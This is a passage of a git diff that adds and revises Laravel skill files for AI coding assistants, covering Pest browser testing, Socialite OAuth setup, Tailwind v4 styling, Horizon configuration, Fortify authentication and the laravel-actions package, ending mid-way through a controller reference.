Browser tests live in `tests/Browser/`. +- Use Laravel features like `Event::fake()`, `assertAuthenticated()`, and model factories. +- Use `RefreshDatabase` for clean state per test. +- Interact with page: click, type, scroll, select, submit, drag-and-drop, touch gestures. +- Test on multiple browsers (Chrome, Firefox, Safari) if requested. +- Test on different devices/viewports (iPhone 14 Pro, tablets) if requested. +- Switch color schemes (light/dark mode) when appropriate. +- Take screenshots or pause tests for debugging. + + +```php +it('may reset the password', function () { + Notification::fake(); + + $this->actingAs(User::factory()->create()); + + $page = visit('/sign-in'); + + $page->assertSee('Sign In') + ->assertNoJavaScriptErrors() + ->click('Forgot Password?') + ->fill('email', 'nuno@laravel.com') + ->click('Send Reset Link') + ->assertSee('We have emailed your password reset link!'); + + Notification::assertSent(ResetPassword::class); +}); +``` + +### Smoke Testing + +Quickly validate multiple pages have no JavaScript errors: + + +```php +$pages = visit(['/', '/about', '/contact']); + +$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs(); +``` + +### Visual Regression Testing + +Capture and compare screenshots to detect visual changes. + +### Test Sharding + +Split tests across parallel processes for faster CI runs. + +### Architecture Testing + +Pest 4 includes architecture testing (from Pest 3): + + +```php arch('controllers') ->expect('App\Http\Controllers') ->toExtendNothing() ->toHaveSuffix('Controller'); - - +``` ## Common Pitfalls @@ -187,7 +154,4 @@ ## Common Pitfalls - Using `assertStatus(200)` instead of `assertSuccessful()` - Forgetting datasets for repetitive validation tests - Deleting tests without approval -- Forgetting `assertNoJavaScriptErrors()` in browser tests -- **Browser tests: forgetting `InstanceSettings::create(['id' => 0])` — most pages crash without it** -- **Browser tests: forgetting `RefreshDatabase` — SQLite :memory: starts empty** -- **Browser tests: views with bare `function` declarations crash on second request — wrap with `function_exists()` guard** +- Forgetting `assertNoJavaScriptErrors()` in browser tests \ No newline at end of file diff --git a/.claude/skills/socialite-development/SKILL.md b/.claude/skills/socialite-development/SKILL.md new file mode 100644 index 000000000..e660da691 --- /dev/null +++ b/.claude/skills/socialite-development/SKILL.md @@ -0,0 +1,80 @@ +--- +name: socialite-development +description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication." +license: MIT +metadata: + author: laravel +--- + +# Socialite Authentication + +## Documentation + +Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth). + +## Available Providers + +Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch` + +Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`. + +Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`. + +Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand. + +Community providers differ from built-in providers in the following ways: +- Installed via `composer require socialiteproviders/{name}` +- Must register via event listener — NOT auto-discovered like built-in providers +- Use `search-docs` for the registration pattern + +## Adding a Provider + +### 1. Configure the provider + +Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly. + +### 2. Create redirect and callback routes + +Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details. + +### 3. Authenticate and store the user + +In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`. + +### 4. Customize the redirect (optional) + +- `scopes()` — merge additional scopes with the provider's defaults +- `setScopes()` — replace all scopes entirely +- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google) +- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object. +- `stateless()` — for API/SPA contexts where session state is not maintained + +### 5. Verify + +1. Config key matches driver name exactly (check the list above for hyphenated names) +2. `client_id`, `client_secret`, and `redirect` are all present +3. Redirect URL matches what is registered in the provider's OAuth dashboard +4. Callback route handles denied grants (when user declines authorization) + +Use `search-docs` for complete code examples of each step. + +## Additional Features + +Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details. + +User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes` + +## Testing + +Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods. + +## Common Pitfalls + +- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails. +- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors. +- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely. +- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`. +- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol). +- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved. +- Community providers require event listener registration via `SocialiteWasCalled`. +- `user()` throws when the user declines authorization. Always handle denied grants. \ No newline at end of file diff --git a/.claude/skills/tailwindcss-development/SKILL.md b/.claude/skills/tailwindcss-development/SKILL.md index 12bd896bb..7c8e295e8 100644 --- a/.claude/skills/tailwindcss-development/SKILL.md +++ b/.claude/skills/tailwindcss-development/SKILL.md @@ -1,24 +1,13 @@ --- name: tailwindcss-development -description: >- - Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components, - working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors, - typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle, - hero section, cards, buttons, or any visual/UI changes. +description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS." +license: MIT +metadata: + author: laravel --- # Tailwind CSS Development -## When to Apply - -Activate this skill when: - -- Adding styles to components or pages -- Working with responsive design -- Implementing dark mode -- Extracting repeated patterns into components -- Debugging spacing or layout issues - ## Documentation Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation. @@ -38,22 +27,24 @@ ### CSS-First Configuration In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed: - + +```css @theme { --color-brand: oklch(0.72 0.11 178); } - +``` ### Import Syntax In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3: - + +```diff - @tailwind base; - @tailwind components; - @tailwind utilities; + @import "tailwindcss"; - +``` ### Replaced Utilities @@ -77,43 +68,47 @@ ## Spacing Use `gap` utilities instead of margins for spacing between siblings: - + +```html
Item 1
Item 2
-
+``` ## Dark Mode If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant: - + +```html
Content adapts to color scheme
-
+``` ## Common Patterns ### Flexbox Layout - + +```html
Left content
Right content
-
+``` ### Grid Layout - + +```html
Card 1
Card 2
Card 3
-
+``` ## Common Pitfalls diff --git a/.cursor/skills/configuring-horizon/SKILL.md b/.cursor/skills/configuring-horizon/SKILL.md new file mode 100644 index 000000000..bed1e74c0 --- /dev/null +++ b/.cursor/skills/configuring-horizon/SKILL.md @@ -0,0 +1,85 @@ +--- +name: configuring-horizon +description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching." +license: MIT +metadata: + author: laravel +--- + +# Horizon Configuration + +## Documentation + +Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment. + +For deeper guidance on specific topics, read the relevant reference file before implementing: + +- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling +- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config +- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs +- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config + +## Basic Usage + +### Installation + +```bash +php artisan horizon:install +``` + +### Supervisor Configuration + +Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block: + + +```php +'defaults' => [ + 'supervisor-1' => [ + 'connection' => 'redis', + 'queue' => ['default'], + 'balance' => 'auto', + 'minProcesses' => 1, + 'maxProcesses' => 10, + 'tries' => 3, + ], +], + +'environments' => [ + 'production' => [ + 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3], + ], + 'local' => [ + 'supervisor-1' => ['maxProcesses' => 2], + ], +], +``` + +### Dashboard Authorization + +Restrict access in `App\Providers\HorizonServiceProvider`: + + +```php +protected function gate(): void +{ + Gate::define('viewHorizon', function (User $user) { + return $user->is_admin; + }); +} +``` + +## Verification + +1. Run `php artisan horizon` and visit `/horizon` +2. Confirm dashboard access is restricted as expected +3. Check that metrics populate after scheduling `horizon:snapshot` + +## Common Pitfalls + +- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported. +- Redis Cluster is not supported. Horizon requires a standalone Redis connection. +- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration. +- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it. +- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out. +- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics. +- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone. \ No newline at end of file diff --git a/.cursor/skills/configuring-horizon/references/metrics.md b/.cursor/skills/configuring-horizon/references/metrics.md new file mode 100644 index 000000000..312f79ee7 --- /dev/null +++ b/.cursor/skills/configuring-horizon/references/metrics.md @@ -0,0 +1,21 @@ +# Metrics & Snapshots + +## Where to Find It + +Search with `search-docs`: +- `"horizon metrics snapshot"` for the snapshot command and scheduling +- `"horizon trim snapshots"` for retention configuration + +## What to Watch For + +### Metrics dashboard stays blank until `horizon:snapshot` is scheduled + +Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler. + +### Register the snapshot in the scheduler rather than running it manually + +A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+. + +### `metrics.trim_snapshots` is a snapshot count, not a time duration + +The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage. \ No newline at end of file diff --git a/.cursor/skills/configuring-horizon/references/notifications.md b/.cursor/skills/configuring-horizon/references/notifications.md new file mode 100644 index 000000000..943d1a26a --- /dev/null +++ b/.cursor/skills/configuring-horizon/references/notifications.md @@ -0,0 +1,21 @@ +# Notifications & Alerts + +## Where to Find It + +Search with `search-docs`: +- `"horizon notifications"` for Horizon's built-in notification routing helpers +- `"horizon long wait detected"` for LongWaitDetected event details + +## What to Watch For + +### `waits` in `config/horizon.php` controls the LongWaitDetected threshold + +The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration. + +### Use Horizon's built-in notification routing in `HorizonServiceProvider` + +Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration. + +### Failed job alerts are separate from Horizon's documented notification routing + +Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API. \ No newline at end of file diff --git a/.cursor/skills/configuring-horizon/references/supervisors.md b/.cursor/skills/configuring-horizon/references/supervisors.md new file mode 100644 index 000000000..9da0c1769 --- /dev/null +++ b/.cursor/skills/configuring-horizon/references/supervisors.md @@ -0,0 +1,27 @@ +# Supervisor & Balancing Configuration + +## Where to Find It + +Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions: +- `"horizon supervisor configuration"` for the full options list +- `"horizon balancing strategies"` for auto, simple, and false modes +- `"horizon autoscaling workers"` for autoScalingStrategy details +- `"horizon environment configuration"` for the defaults and environments merge + +## What to Watch For + +### The `environments` array merges into `defaults` rather than replacing it + +The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`. + +### Use separate named supervisors to enforce queue priority + +Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this. + +### Use `balance: false` to keep a fixed number of workers on a dedicated queue + +Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable. + +### Set `balanceCooldown` to prevent rapid worker scaling under bursty load + +When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle. \ No newline at end of file diff --git a/.cursor/skills/configuring-horizon/references/tags.md b/.cursor/skills/configuring-horizon/references/tags.md new file mode 100644 index 000000000..263c955c1 --- /dev/null +++ b/.cursor/skills/configuring-horizon/references/tags.md @@ -0,0 +1,21 @@ +# Tags & Silencing + +## Where to Find It + +Search with `search-docs`: +- `"horizon tags"` for the tagging API and auto-tagging behaviour +- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options + +## What to Watch For + +### Eloquent model jobs are tagged automatically without any extra code + +If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed. + +### `silenced` hides jobs from the dashboard completed list but does not stop them from running + +Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs. + +### `silenced_tags` hides all jobs carrying a matching tag from the completed list + +Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes. \ No newline at end of file diff --git a/.cursor/skills/developing-with-fortify/SKILL.md b/.cursor/skills/fortify-development/SKILL.md similarity index 72% rename from .cursor/skills/developing-with-fortify/SKILL.md rename to .cursor/skills/fortify-development/SKILL.md index 2ff71a4b4..86322d9c0 100644 --- a/.cursor/skills/developing-with-fortify/SKILL.md +++ b/.cursor/skills/fortify-development/SKILL.md @@ -1,6 +1,9 @@ --- -name: developing-with-fortify -description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications. +name: fortify-development +description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.' +license: MIT +metadata: + author: laravel --- # Laravel Fortify Development @@ -39,7 +42,7 @@ ### Two-Factor Authentication Setup ``` - [ ] Add TwoFactorAuthenticatable trait to User model - [ ] Enable feature in config/fortify.php -- [ ] Run migrations for 2FA columns +- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate - [ ] Set up view callbacks in FortifyServiceProvider - [ ] Create 2FA management UI - [ ] Test QR code and recovery codes @@ -75,14 +78,26 @@ ### SPA Authentication Setup ``` - [ ] Set 'views' => false in config/fortify.php -- [ ] Install and configure Laravel Sanctum -- [ ] Use 'web' guard in fortify config +- [ ] Install and configure Laravel Sanctum for session-based SPA authentication +- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication) - [ ] Set up CSRF token handling - [ ] Test XHR authentication flows ``` > Use `search-docs` for integration and SPA authentication patterns. +#### Two-Factor Authentication in SPA Mode + +When `views` is set to `false`, Fortify returns JSON responses instead of redirects. + +If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required: + +```json +{ + "two_factor": true +} +``` + ## Best Practices ### Custom Authentication Logic diff --git a/.cursor/skills/laravel-actions/SKILL.md b/.cursor/skills/laravel-actions/SKILL.md new file mode 100644 index 000000000..862dd55b5 --- /dev/null +++ b/.cursor/skills/laravel-actions/SKILL.md @@ -0,0 +1,302 @@ +--- +name: laravel-actions +description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring. +--- + +# Laravel Actions or `lorisleiva/laravel-actions` + +## Overview + +Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns. + +## Quick Workflow + +1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`. +2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`. +3. Implement `handle(...)` with the core business logic first. +4. Add adapter methods only when needed for the requested entrypoint: + - `asController` (+ route/invokable controller usage) + - `asJob` (+ dispatch) + - `asListener` (+ event listener wiring) + - `asCommand` (+ command signature/description) +5. Add or update tests for the chosen entrypoint. +6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`). + +## Base Action Pattern + +Use this minimal skeleton and expand only what is needed. + +```php +handle($id)`. +- Call with dependency injection: `app(PublishArticle::class)->handle($id)`. + +### Run as Controller + +- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`. +- Add `asController(...)` for HTTP-specific adaptation and return a response. +- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP. + +### Run as Job + +- Dispatch with `PublishArticle::dispatch($id)`. +- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`. +- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control. + +#### Project Pattern: Job Action with Extra Methods + +```php +addMinutes(30); + } + + public function getJobBackoff(): array + { + return [60, 120]; + } + + public function getJobUniqueId(Demo $demo): string + { + return $demo->id; + } + + public function handle(Demo $demo): void + { + // Core business logic. + } + + public function asJob(JobDecorator $job, Demo $demo): void + { + // Queue-specific orchestration and retry behavior. + $this->handle($demo); + } +} +``` + +Use these members only when needed: + +- `$jobTries`: max attempts for the queued execution. +- `$jobMaxExceptions`: max unhandled exceptions before failing. +- `getJobRetryUntil()`: absolute retry deadline. +- `getJobBackoff()`: retry delay strategy per attempt. +- `getJobUniqueId(...)`: deduplication key for unique jobs. +- `asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching. + +### Run as Listener + +- Register the action class as listener in `EventServiceProvider`. +- Use `asListener(EventName $event)` and delegate to `handle(...)`. + +### Run as Command + +- Define `$commandSignature` and `$commandDescription` properties. +- Implement `asCommand(Command $command)` and keep console IO in this method only. +- Import `Command` with `use Illuminate\Console\Command;`. + +## Testing Guidance + +Use a two-layer strategy: + +1. `handle(...)` tests for business correctness. +2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration. + +### Deep Dive: `AsFake` methods (2.x) + +Reference: https://www.laravelactions.com/2.x/as-fake.html + +Use these methods intentionally based on what you want to prove. + +#### `mock()` + +- Replaces the action with a full mock. +- Best when you need strict expectations and argument assertions. + +```php +PublishArticle::mock() + ->shouldReceive('handle') + ->once() + ->with(42) + ->andReturnTrue(); +``` + +#### `partialMock()` + +- Replaces the action with a partial mock. +- Best when you want to keep most real behavior but stub one expensive/internal method. + +```php +PublishArticle::partialMock() + ->shouldReceive('fetchRemoteData') + ->once() + ->andReturn(['ok' => true]); +``` + +#### `spy()` + +- Replaces the action with a spy. +- Best for post-execution verification ("was called with X") without predefining all expectations. + +```php +$spy = PublishArticle::spy()->allows('handle')->andReturnTrue(); + +// execute code that triggers the action... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +#### `shouldRun()` + +- Shortcut for `mock()->shouldReceive('handle')`. +- Best for compact orchestration assertions. + +```php +PublishArticle::shouldRun()->once()->with(42)->andReturnTrue(); +``` + +#### `shouldNotRun()` + +- Shortcut for `mock()->shouldNotReceive('handle')`. +- Best for guard-clause tests and branch coverage. + +```php +PublishArticle::shouldNotRun(); +``` + +#### `allowToRun()` + +- Shortcut for spy + allowing `handle`. +- Best when you want execution to proceed but still assert interaction. + +```php +$spy = PublishArticle::allowToRun()->andReturnTrue(); +// ... +$spy->shouldHaveReceived('handle')->once(); +``` + +#### `isFake()` and `clearFake()` + +- `isFake()` checks whether the class is currently swapped. +- `clearFake()` resets the fake and prevents cross-test leakage. + +```php +expect(PublishArticle::isFake())->toBeFalse(); +PublishArticle::mock(); +expect(PublishArticle::isFake())->toBeTrue(); +PublishArticle::clearFake(); +expect(PublishArticle::isFake())->toBeFalse(); +``` + +### Recommended test matrix for Actions + +- Business rule test: call `handle(...)` directly with real dependencies/factories. +- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`. +- Job wiring test: dispatch action as job, assert expected downstream action calls. +- Event listener test: dispatch event, assert action interaction via fake/spy. +- Console test: run artisan command, assert action invocation and output. + +### Practical defaults + +- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests. +- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification. +- Prefer `mock()` when interaction contracts are strict and should fail fast. +- Use `clearFake()` in cleanup when a fake might leak into another test. +- Keep side effects isolated: fake only the action under test boundary, not everything. + +### Pest style examples + +```php +it('dispatches the downstream action', function () { + SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0); + + FinalizeInvoice::run(123); +}); + +it('does not dispatch when invoice is already sent', function () { + SendInvoiceEmail::shouldNotRun(); + + FinalizeInvoice::run(123, alreadySent: true); +}); +``` + +Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file. + +## Troubleshooting Checklist + +- Ensure the class uses `AsAction` and namespace matches autoload. +- Check route registration when used as controller. +- Check queue config when using `dispatch`. +- Verify event-to-listener mapping in `EventServiceProvider`. +- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`. + +## Common Pitfalls + +- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`. +- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`. +- Assuming listener wiring works without explicit registration where required. +- Testing only entrypoints and skipping direct `handle(...)` behavior tests. +- Overusing Actions for one-off, single-context logic with no reuse pressure. + +## Topic References + +Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules. + +- Object entrypoint: `references/object.md` +- Controller entrypoint: `references/controller.md` +- Job entrypoint: `references/job.md` +- Listener entrypoint: `references/listener.md` +- Command entrypoint: `references/command.md` +- With attributes: `references/with-attributes.md` +- Testing and fakes: `references/testing-fakes.md` +- Troubleshooting: `references/troubleshooting.md` \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/command.md b/.cursor/skills/laravel-actions/references/command.md new file mode 100644 index 000000000..a7b255daf --- /dev/null +++ b/.cursor/skills/laravel-actions/references/command.md @@ -0,0 +1,160 @@ +# Command Entrypoint (`asCommand`) + +## Scope + +Use this reference when exposing actions as Artisan commands. + +## Recap + +- Documents command execution via `asCommand(...)` and fallback to `handle(...)`. +- Covers command metadata via methods/properties (signature, description, help, hidden). +- Includes registration example and focused artisan test pattern. +- Reinforces separation between console I/O and domain logic. + +## Recommended pattern + +- Define `$commandSignature` and `$commandDescription`. +- Implement `asCommand(Command $command)` for console I/O. +- Keep business logic in `handle(...)`. + +## Methods used (`CommandDecorator`) + +### `asCommand` + +Called when executed as a command. If missing, it falls back to `handle(...)`. + +```php +use Illuminate\Console\Command; + +class UpdateUserRole +{ + use AsAction; + + public string $commandSignature = 'users:update-role {user_id} {role}'; + + public function handle(User $user, string $newRole): void + { + $user->update(['role' => $newRole]); + } + + public function asCommand(Command $command): void + { + $this->handle( + User::findOrFail($command->argument('user_id')), + $command->argument('role') + ); + + $command->info('Done!'); + } +} +``` + +### `getCommandSignature` + +Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set. + +```php +public function getCommandSignature(): string +{ + return 'users:update-role {user_id} {role}'; +} +``` + +### `$commandSignature` + +Property alternative to `getCommandSignature`. + +```php +public string $commandSignature = 'users:update-role {user_id} {role}'; +``` + +### `getCommandDescription` + +Provides command description. + +```php +public function getCommandDescription(): string +{ + return 'Updates the role of a given user.'; +} +``` + +### `$commandDescription` + +Property alternative to `getCommandDescription`. + +```php +public string $commandDescription = 'Updates the role of a given user.'; +``` + +### `getCommandHelp` + +Provides additional help text shown with `--help`. + +```php +public function getCommandHelp(): string +{ + return 'My help message.'; +} +``` + +### `$commandHelp` + +Property alternative to `getCommandHelp`. + +```php +public string $commandHelp = 'My help message.'; +``` + +### `isCommandHidden` + +Defines whether command should be hidden from artisan list. Default is `false`. + +```php +public function isCommandHidden(): bool +{ + return true; +} +``` + +### `$commandHidden` + +Property alternative to `isCommandHidden`. + +```php +public bool $commandHidden = true; +``` + +## Examples + +### Register in console kernel + +```php +// app/Console/Kernel.php +protected $commands = [ + UpdateUserRole::class, +]; +``` + +### Focused command test + +```php +$this->artisan('users:update-role 1 admin') + ->expectsOutput('Done!') + ->assertSuccessful(); +``` + +## Checklist + +- `use Illuminate\Console\Command;` is imported. +- Signature/options/arguments are documented. +- Command test verifies invocation and output. + +## Common pitfalls + +- Mixing command I/O with domain logic in `handle(...)`. +- Missing/ambiguous command signature. + +## References + +- https://www.laravelactions.com/2.x/as-command.html \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/controller.md b/.cursor/skills/laravel-actions/references/controller.md new file mode 100644 index 000000000..d48c34df8 --- /dev/null +++ b/.cursor/skills/laravel-actions/references/controller.md @@ -0,0 +1,339 @@ +# Controller Entrypoint (`asController`) + +## Scope + +Use this reference when exposing an action through HTTP routes. + +## Recap + +- Documents controller lifecycle around `asController(...)` and response adapters. +- Covers routing patterns, middleware, and optional in-action `routes()` registration. +- Summarizes validation/authorization hooks used by `ActionRequest`. +- Provides extension points for JSON/HTML responses and failure customization. + +## Recommended pattern + +- Route directly to action class when appropriate. +- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`). +- Keep domain logic in `handle(...)`. + +## Methods provided (`AsController` trait) + +### `__invoke` + +Required so Laravel can register the action class as an invokable controller. + +```php +$action($someArguments); + +// Equivalent to: +$action->handle($someArguments); +``` + +If the method does not exist, Laravel route registration fails for invokable controllers. + +```php +// Illuminate\Routing\RouteAction +protected static function makeInvokable($action) +{ + if (! method_exists($action, '__invoke')) { + throw new UnexpectedValueException("Invalid route action: [{$action}]."); + } + + return $action.'@__invoke'; +} +``` + +If you need your own `__invoke`, alias the trait implementation: + +```php +class MyAction +{ + use AsAction { + __invoke as protected invokeFromLaravelActions; + } + + public function __invoke() + { + // Custom behavior... + } +} +``` + +## Methods used (`ControllerDecorator` + `ActionRequest`) + +### `asController` + +Called when used as invokable controller. If missing, it falls back to `handle(...)`. + +```php +public function asController(User $user, Request $request): Response +{ + $article = $this->handle( + $user, + $request->get('title'), + $request->get('body') + ); + + return redirect()->route('articles.show', [$article]); +} +``` + +### `jsonResponse` + +Called after `asController` when request expects JSON. + +```php +public function jsonResponse(Article $article, Request $request): ArticleResource +{ + return new ArticleResource($article); +} +``` + +### `htmlResponse` + +Called after `asController` when request expects HTML. + +```php +public 